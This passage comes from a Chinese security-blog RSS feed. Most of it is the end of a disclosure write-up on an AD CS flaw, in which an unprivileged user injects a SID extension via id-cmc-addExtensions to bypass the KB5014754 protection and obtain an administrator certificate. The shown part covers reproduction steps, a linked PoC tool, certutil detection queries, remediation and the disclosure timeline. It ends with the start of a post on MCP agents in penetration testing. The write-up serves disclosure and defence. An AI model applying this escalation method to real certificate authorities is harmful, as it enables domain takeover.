leaf="">EDITF_ATTRIBUTESUBJECTALTNAME2</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">以非特权用户身份，</span><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">仅运行实验 A</span></strong><span leaf="">——伪造 UPN，不注入其他任何东西。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">用不是我的工具来解析签发的证书。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">openssl x509 -text</span></code><span leaf="">即可；查找 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1.3.6.1.4.1.311.25.2</span></code><span leaf="">。</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果扩展不在那里，你就复现了这个发现，可以停了——A 足以证明防御没有运行。B 和 C 只是瞄准。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">完整的 CMC 构建器（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmc_addext.py</span></code><span leaf="">）、独立的证书解析器、三实验运行器和逆向工程笔记都在 GitHub 上：</span><strong><span leaf="">github.com/MazX0p/cmc-addext</span></strong><span leaf="">。去检查我的工作。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">检测</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你无法删除模板，至少可以监控它。注意事件日志能给你什么和不能给你什么。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;"><span leaf="">先说坏消息：</span></strong><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">4886</span></code><p><span leaf="">（请求已接收）和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">4887</span></code><span leaf="">（请求已批准并签发）不显示 CMC 控制 OID。你无法仅从安全日志中过滤 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">id-cmc-addExtensions</span></code><span leaf="">。要看到控制属性，你需要请求 blob 本身——从 CA 数据库中提取（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certutil -view -restrict &#34;RequestID=&lt;n&gt;&#34; -out RawRequest</span></code><span leaf="">）并解析 CMS。实际做法：对下方更便宜的信号告警，然后对任何触发的项目提取并解析原始请求。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><span leaf="">身份不匹配才是真正的告警信号。</span></strong><p><span leaf="">签发的证书中 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Request.RequesterName</span></code><span leaf="">与 SAN 中的身份没有任何关系，且 Subject CN 与 SAN UPN 不匹配。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmctest</span></code><span leaf="">请求一张写着 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">administrator</span></code><span leaf="">的证书就是整个攻击浓缩在一行里。这可以直接查询：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certutil -view -restrict &#34;Disposition=20&#34; -out &#34;RequestID,RequesterName,CommonName,SerialNumber&#34;</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><span leaf="">clientAuth 签发中缺少 SID 扩展。</span></strong><p><span leaf="">KB5014754 之后，签发给用户主体但没有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">szOID_NTDS_CA_SECURITY_EXT</span></code><span leaf="">的客户端认证证书在你的环境中应该是异常的。这是实验 A 的直接产物。值得做基线——如果你有很多这样的证书，你就有大量注册者自行提供主体的注册，这本身就是一个发现。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><span leaf="">与 KDC 关联。</span></strong><p><span leaf="">CA 上异常签发后不久，针对特权主体的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">4768</span></code><span leaf="">（通过 PKINIT 获取 TGT）。按证书序列号关联。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Certipy 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">find -vulnerable</span></code><span leaf="">会不管 KB5014754 而标记 ESC1 模板。</span></strong><p><span leaf="">相信它。补丁并没有让该模板在这条路径上变得安全。</span></p></li></ul><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">补救措施</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">按优先级排序：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;"><span leaf="">删除 ESC1 模板。</span></strong><p><span leaf="">如果一个低权限主体可以注册一个具有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ENROLLEE_SUPPLIES_SUBJECT</span></code><span leaf="">且无 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">REQUIRE_UPN</span></code><span leaf="">的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">clientAuth</span></code><span leaf="">模板，那才是真正的洞。不管 KB5014754，删掉它。这是今天唯一能完全关闭它的修复。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><span leaf="">设置 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CT_FLAG_SUBJECT_ALT_REQUIRE_UPN</span></code></strong><p><span leaf="">在任何你必须保留的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">clientAuth</span></code><span leaf="">模板上。在携带它的模板上，策略模块会在 CMC 控制运行后将 SAN 和 SID 改写为调用方，攻击死亡。这是可靠的变通方案，也是当步骤 1 被应用方阻碍时应该选择的方案。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><span leaf="">要求管理员审批或 RA 签名</span></strong><p><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">msPKI-RA-Signature &gt; 0</span></code><span leaf="">），使请求进入待处理状态，由人工审查。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">限制 MS-ICPR</span></strong><p><span leaf="">，将 CA 与那些没有业务通过 RPC 注册的网络隔离。减少攻击面，不消除漏洞。</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以及真正的修复，只有微软能发布的：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">教会 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certsrv.exe</span></code><span leaf="">分发器 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x80000</span></code><span leaf="">不是一张通行证，将 CMC 注入的扩展通过一个真正的允许列表——</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">szOID_NTDS_CA_SECURITY_EXT</span></code><span leaf="">在任何情况下都不应该可以从请求中设置。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">让 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certpdef.dll</span></code><span leaf="">的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_180012ee8</span></code><span leaf="">无条件走</span><em style="margin-bottom: 0px;"><span leaf="">生成</span></em><span leaf="">分支，在每条签发路径上包括注册者自行提供主体，覆盖请求提供的任何东西。信任分支对于这个特定扩展没有存在的合法理由。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一个你可以通过选择不同的提交动词来绕过的防御不是防御。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">时间线</span></h2><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">2026-04-10   向 MSRC 初始报告（早期 CMC/CES 案件系列）</span><br/><span leaf="">2026-05-29   准备新案件，id-cmc-addExtensions vs KB5014754 SID 标记</span><br/><span leaf="">2026-06-10   提交完整端到端 PoC + 录制视频 + 工具</span><br/><span leaf="">2026-06-11   MSRC 案件 121785 开启</span><br/><span leaf="">2026-06-17   &#34;评估未完成，我们会联系你&#34;</span><br/><span leaf="">2026-06-27   &#34;工程师们还在处理积压&#34;</span><br/><span leaf="">2026-07-22   关闭：&#34;非漏洞 ... 按设计运行&#34;</span><br/><span leaf="">2026-07-27   在完全打过补丁的实验环境上重新验证端到端。本文章。</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我发布是因为案件已关闭，不会有修复，而我认为这个评估是错误的，它让人们在以为受到保护的同时实际上暴露在外。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结语</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里没有任何理论性的东西。一个 Domain Users 的成员、一台打过补丁的 CA、一台在完全强制模式下的打过补丁的 DC，以及另一端的一个 krbtgt 哈希。三个对照实验就是整个论证，你们任何有实验环境的人都可以在一个下午运行它们并看到和我一样的输出。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你是 MSRC 方面的人在读这篇：复现方法是一个设置了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ENROLLEE_SUPPLIES_SUBJECT</span></code><span leaf="">且没有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">REQUIRE_UPN</span></code><span leaf="">的模板，通过 MS-ICPR 提交，SID 通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">id-cmc-addExtensions</span></code><span leaf="">注入——不是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">san:</span></code><span leaf="">属性。运行实验 A。如果你签发的证书中没有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">szOID_NTDS_CA_SECURITY_EXT</span></code><span leaf="">，我们看到的就是同一个漏洞，它从来不是按设计的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://0xmaz.me/posts/certsrv-id-cmc-addExtensions-KB5014754-bypass/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6ef78180&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496738%26idx%3D1%26sn%3Dbcf826d1ec8b630fc993ebc588d9df21">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 28 Jul 2026 12:50:00 +0800</pubDate>
    </item>
    <item>
      <title>在渗透测试中使用 MCP 智能体</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496724&amp;idx=1&amp;sn=4bde13f6c92a4cef7162e9f9045672a5</link>
      <description>Bishop Fox 顾问分享如何借助 MCP 智能体框架在外部、应用与云渗透测试中提升覆盖效率，将发现漏洞的时间从数天缩短至数小时。</description>
      <content:encoded><![CDATA[<p><span>Derek Rush</span> <span>2026-07-27 10:50</span> <span style="display: inline-block;">英国</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b5499020&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSgnk0Sibq4uC4RmpEkWh58pJ36F8UzfksyP0ku5nW79Jj53gPegqFIETqMFpUX4Sx33ILlogKXPzfibYQcTK1umQUkibD5ycbteibk%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>Bishop Fox 顾问分享如何借助 MCP 智能体框架在外部、应用与云渗透测试中提升覆盖效率，将发现漏洞的时间从数天缩短至数小时。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p data-nest-level="6"><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p data-nest-level="6"><span leaf="" data-nest-level="7">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p data-nest-level="6"><span leaf="" data-nest-level="7"><a href="https://bishopfox.com/blog/using-mcp-agents-for-penetration-testing" target="_blank">https://bishopfox.com/blog/using-mcp-agents-for-penetration-testing</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p data-nest-level="6"><span leaf="" data-nest-level="7">Derek Rush, Managing Senior Consultant</span></p></td></tr></tbody></table><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><h5 style=" margin: 0px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 14px; " data-nest-level="3"><span leaf="">TL;DR：</span></h5><p style="margin: 15px 0px 0px;" data-nest-level="3"><em data-nest-level="4"><span leaf="">智能体框架将发现漏洞的时间从数天缩短至数小时，共揭示了两起合计超过 1200 万条记录的信息泄露。本文拆解了在外部、应用和云渗透测试中实用的 MCP 工具与提示词模式，并划清了这些战术在何种情形下适用、以及在哪些场景下客户授权范围与推理服务提供商的选择仍需审慎判断的边界。</span></em></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">AI 正在改变渗透测试的执行方式。通过将智能体框架（agent 